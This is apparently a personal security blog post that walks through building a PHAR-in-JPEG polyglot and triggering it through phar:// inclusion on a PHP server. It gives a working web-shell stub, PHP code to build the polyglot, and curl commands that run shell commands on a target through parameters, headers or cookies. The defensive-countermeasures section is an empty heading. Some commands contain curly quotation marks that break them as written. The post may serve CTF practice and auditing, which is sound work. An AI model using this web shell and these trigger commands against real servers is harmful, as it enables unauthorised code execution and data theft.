Experiences of a cybersecurity guy 🐱‍💻

Exploiting PHAR-in-JPEG Polyglots for phar:// Inclusion Attacks

Polyglot files—-artifacts that are valid in more than one format at
once—-are a fascinating area of security research. Among them,
PHAR-in-JPEG payloads are particularly elegant: they allow an attacker
to craft a file that is simultaneously a valid JPEG image and a valid
PHAR archive.

When a vulnerable server executes something like:

include('phar://uploads/avatar.jpg');

...our “image” silently becomes code execution.

Why PHAR Archives Are Dangerous

PHAR files in PHP are signed archives. What matters here is that when
PHP processes a phar:// URL, it executes the PHAR's stub
—-the PHP
code placed at the beginning of the archive, before the binary manifest.

A classic PHAR stub looks like:

<?php
system($_GET["cmd"] ?? "id");
__HALT_COMPILER();

This means:

If the application includes a user-uploaded file through phar://,
PHP will execute attacker-controlled PHP code.

Goal of the Exploit

  1. Create a file that begins with a valid JPEG header
    (FF D8 FF …).
  2. Make that same file contain a valid PHAR archive whose stub
    contains a web‑shell
    .
  3. Upload it and trigger the inclusion to obtain remote code execution.

Building the PHAR-in-JPEG Polyglot

1. Choose a clean JPEG cover

2. Prepare the PHP payload (stub)

Your payload must end with __HALT_COMPILER();.

3. Concatenate JPEG bytes + PHP stub → custom PHAR stub

PHAR allows arbitrary stub content. The entire JPEG + payload becomes
the PHAR stub.

4. Build the PHAR archive

$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('stub.txt','stub');
$phar->setStub($jpeg_bytes . $php_stub);
$phar->stopBuffering();

5. Rename the PHAR

payload.phar → out.jpg

No byte is modified, so the signature stays valid.

Validating the Polyglot Locally

Check JPEG header

xxd -l 4 out.jpg
# Expected: ff d8 ff ...

Check image parsing

php -r 'var_dump(getimagesize(“out.jpg”));'

Simulate PHAR execution

php -r '$_GET[“cmd”]=“id”; include(“phar://“.realpath(“out.jpg”));'

Triggering the Attack on the Target

Example using GET + POST:

curl 'http://target/?page=admin&cmd=id' -d 'phar=uploads/out.jpg'

Via custom header:

curl 'http://target/?page=admin' -H 'X-Cmd: cat flag.txt' -d 'phar=uploads/out.jpg'

Via cookie:

curl 'http://target/?page=admin' -H 'Cookie: cmd=id' -d 'phar=uploads/out.jpg'

Common Errors and Fixes


Error Meaning Fix


unexpected token ">" JPEG contains <?. Use another JPEG.

broken signature File modified after PHAR Rebuild.
signing.

extension not recognised Tried to create .jpg Create .phar then
directly. rename.


Defensive Countermeasures

Conclusion

The PHAR-in-JPEG polyglot attack works because JPEG parsers only
validate the start of the file, while PHAR archives allow arbitrary
stubs that PHP will execute. This powerful combination enables stealthy
code execution if an application performs unsafe include() on
user-controlled content.

Understanding this mechanism is essential for both CTF players and
security engineers auditing PHP applications.